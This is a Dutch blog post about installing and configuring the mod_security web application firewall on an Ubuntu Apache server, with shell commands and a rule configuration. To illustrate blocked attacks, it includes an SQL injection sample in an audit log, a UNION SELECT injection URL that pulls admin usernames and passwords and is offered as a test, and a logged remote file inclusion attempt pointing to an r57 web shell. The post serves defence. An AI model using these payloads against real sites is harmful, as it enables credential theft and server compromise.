Iedereen die een server in beheer heeft kent de behoefte aan een degelijke beveiliging. Ik heb een aantal positieve verhalen gehoord over mod_security. Mod_security zou in staat zijn om bescherming te bieden tegen alle (?) soorten aanvallen en hackpogingen met betrekking tot webservers. Tijd om het zelf eens te installeren op mijn Ubuntu server.
Wat is mod_security, volgens de website www.modsecurity.org
"ModSecurity is an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make the web application firewall technology available to everyone."
Vooral de vermelding "with no changes to existing infrastructure" klinkt goed. Mijn server draait nu namelijk lekker en ik wil het sommige processen niet al te moeilijk maken door de beveiliging al te streng op te voeren. Eens kijken of dat gaat lukken ...
Installeren
Alvorens mod_security kan worden geinstalleerd moet eerst Apache op de server actief zijn, anders werkt het niet. Het installeren van mod_security onder Ubuntu (en onder elke ander Debian systeem) kan als volgt (via de command shell):
sudo apt-get install libapache2-mod-security
sudo a2enmod mod-security
/etc/init.d/apache2 force-reload
Dit leek eenvoudig, doch toen ik het probeerde kreeg ik de volgende melding:
Media change: please insert the disc labeled
...
in the drive '/cdrom/' and press enter
Ik heb een colocated server, en om nu naar Amsterdam te rijden om de CD-Rom in de drive van de server te doen leek me een beetje ver gaan. Gelukkig kon ik deze melding oplossen via het volgende commando:
sudo nano /etc/apt/sources.list
en een # te plaatsen voor de regel die begon met
deb cdrom:
Nu kijkt de server tijdens het updaten cq. installeren van programma's niet meer eerst naar de CD-Rom drive!
Hierna lukt de installatie zonder problemen. Er volgde wel een foutmelding na het laatste commando, zijnde:
/etc/init.d/apache2 force-reload
* Forcing reload of apache 2.0 web server...
httpd (pid 12042?) not running
maar dat nam niet weg dat mod_security wel werd geinstalleerd !
Helaas wordt met bovengenoemde installatie niet de meest recente versie van mod_security geinstalleerd. Ik wilde dat wel, want verouderde beveiligingsmaatregelen zijn soms slechter dan geen beveiligingsmaatregelen, dus ik moest de volgende handelingen doen:
Installatie van apxs2, via het volgende commando:
sudo apt-get install apache2-prefork-dev
Downloaden van een recente versie van mod_security (1.9.4), via het commando:
wget http://www.modsecurity.org/download/modsecurity-apache_1.9.4.tar.gz
Uitpakken van het tar.gz bestand op de server, via het commando:
tar zvxf modsecurity-apache_1.9.4.tar.gz
Naar de juiste directory gaan, via het commando:
cd modsecurity-apache_1.9.4/apache2
gevolgd door het commando:
sudo apxs2 -cia mod_security.c
Als het goed is wordt duidelijk dat een en ander is geinstalleerd op de server.
Maak nu onder /etc/apache2 een folder aan genaamd modsecurity
Ga naar deze directory, via het commando:
cd /etc/apache2/modsecurity
Download de filterregels die bij versie 1.9 horen, via het volgende commando:
sudo wget http://www.gotroot.com/downloads/ftp/mod_security/apache2/
apache2-gotrootrules-latest.tar.gz
Pak deze filterregels nu uit, terwijl je je bevindt in de folder /etc/apach2/modsecurity, via het volgende commando:
sudo tar zxvf apache2-gotrootrules-latest.tar.gz
Bewerkt het configuratiebestand van apache, via het volgende commando:
sudo nano /etc/apache2/apache2.conf
en plaats hierin de volgende regel:
Include /etc/apache2/conf_security.conf
Maak vervolgens het bestand conf_security.conf aan in de folder /etc/apache2/
De inhoud van dit bestand moet het volgende zijn:
<IfModule mod_security.c>
# dynamic request only.
#SecFilterEngine DynamicOnly
SecFilterEngine On
SecFilterDefaultAction "deny,log,status:500"
# basic rules.
SecFilterScanPOST On
SecFilterCheckURLEncoding On
SecFilterCheckCookieFormat On
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies On
# Active la version 1 (RFC 2965) cookies
SecFilterCookieFormat 1
SecServerResponseToken Off
SecFilterForceByteRange 1 255
#fake server banner - NOYB used - no one needs to know what we are using
SecServerSignature "NOYB"
#SecUploadDir /tmp
#SecUploadKeepFiles Off
# Only record the interesting stuff
SecAuditEngine RelevantOnly
SecAuditLog /var/log/apache2/audit_log
#mode debug conf.
SecFilterDebugLevel 0
SecFilterDebugLog /var/log/apache2/modsec_debug_log
# exclude rules.
# THIS LINE HAVE TO BE THE FIRST.
Include /etc/apache2/modsecurity/exclude.conf
# Protect rules.
Include /etc/apache2/modsecurity/rules.conf
# spam rules.
Include /etc/apache2/modsecurity/blacklist.conf
# host, proxy, etc...
Include /etc/apache2/modsecurity/blacklist2.conf
#
Include /etc/apache2/modsecurity/useragents.conf
# rootkits protection.
Include /etc/apache2/modsecurity/rootkits.conf
# Règle empéchant l'utilisation du serveur comme proxy.
# A utiliser seulement si le serveur n'est pas en mod proxy.
Include /etc/apache2/modsecurity/proxy.conf
# Apache2 rules.
Include /etc/apache2/modsecurity/apache2-rules.conf
</IfModule>
Na het installeren van de bestanden moet je apache opnieuw opstarten.
Je kunt de genoemde bestanden bewerken om het aan te passen aan je eigen situatie cq. server. Het kan bijvoorbeeld gebeuren dat bepaalde services op je server worden geblokkeerd door mod_security.
Je kunt dan bijvoorbeeld het bestand exclude.conf (in de /etc/apache2/modsecurity map) aanpassen, zodat er bepaalde uitzonderingen op de regel mogelijk worden en de services op je server weer functioneren.
Je kunt zelf ook regels toevoegen aan de verschillende .conf bestanden.
Als een actie wordt ondervangen door een filterregel dan verschijnt iets als dit in het audit log:
========================================
Request: 192.168.0.207 - - [04/Jul/2006:23:43:00 +1200] "GET /login.php?user=tom';DELETE%20FROM%20users-- HTTP/1.1" 500 1215
Handler: (null)
----------------------------------------
GET /login.php?user=tom';DELETE%20FROM%20users-- HTTP/1.1
Host: 192.168.0.100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
mod_security-message: Access denied with code 500. Pattern match "delete[[:space:]]+from" at THE_REQUEST
mod_security-action: 500
HTTP/1.1 500 Internal Server Error
Last-Modified: Fri, 21 Oct 2005 14:30:18 GMT
ETag: "8238-4bf-833a5280"
Accept-Ranges: bytes
Content-Length: 1215
Connection: close
Content-Type: text/html
Via het bestand /var/log/apache2/error.log kun je controleren of mod_security geactiveerd is. Er staat dan een vermelding die lijkt op:
mod_security/1.9.4 configured - Apache 2.0.55
Controleren of het werkt
Wil je controleren of mod_security werkt, dan kun je het volgende commando via een webbrowser uitvoeren:
http://www.naamvanjeserver.nl/faq.php?action=&type=view&s=&id=-1'%20union%20select%200,
concat(char(85),char(115),char(101),char(114),char(110),char(97),char(109),char(101),char(58),
name,char(32),char(124),char(124),char(32),char(80),char(97),char(115),char(115),char(119),
char(111),char(114),char(100),char(58),pass),0,0,0,0,0%20from%20phpdesk_admin/*
Als alles goed is geinstalleerd dan volgt een HTTP 500 error in je browser en is in het bestand /var/log/apache2/audit_log een vermelding bijgeschreven.
Zo kwam ik er achter dat ik kort na installatie van mod_security al bezoek had gehad van een hacker, via deze vermelding in audit_log:
==5e17eb12==============================
Request: ip-adres-weggehaald-om-veiligheidsredenen 198.64.140.205 - - [09/Aug/2007:18:17:23 +0200] "POST http://ip-adres-weggehaald-om-veiligheidsredenen/admin/business_inc/saveserver.php?thisdir=http://www.evilc0der.com/r57.txt? HTTP/1.0" 500 600 "http://ip-adres-weggehaald-om-veiligheidsredenen/admin/business_inc/saveserver.php?thisdir=http://www.evilc0der.com/r57.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" - "-"
----------------------------------------
POST http://ip-adres-weggehaald-om-veiligheidsredenen/admin/business_inc/saveserver.php?thisdir=http://www.evilc0der.com/r57.txt? HTTP/1.0
Host: ip-adres-weggehaald-om-veiligheidsredenen
Referer: http://ip-adres-weggehaald-om-veiligheidsredenen/admin/business_inc/saveserver.php?thisdir=http://www.evilc0der.com/r57.txt?
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Connection: close
Proxy-Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-type: application/x-www-form-urlencoded
Content-length: 0
mod_security-action: 500
mod_security-message: Access denied with code 500. Pattern match "!/imp/login\\.php" at HEADER("Referer") [id "300018"] [rev "3"] [msg "Generic PHP code injection protection via ARGS"] [severity "CRITICAL"]
0
HTTP/1.0 500 Internal Server Error
Content-Length: 600
Connection: close
Content-Type: text/html; charset=iso-8859-1
--5e17eb12--
Als ik nog enige twijfels had of een maatregel als mod_security nodig is, dan zijn deze nu definitief weggenomen!
Comments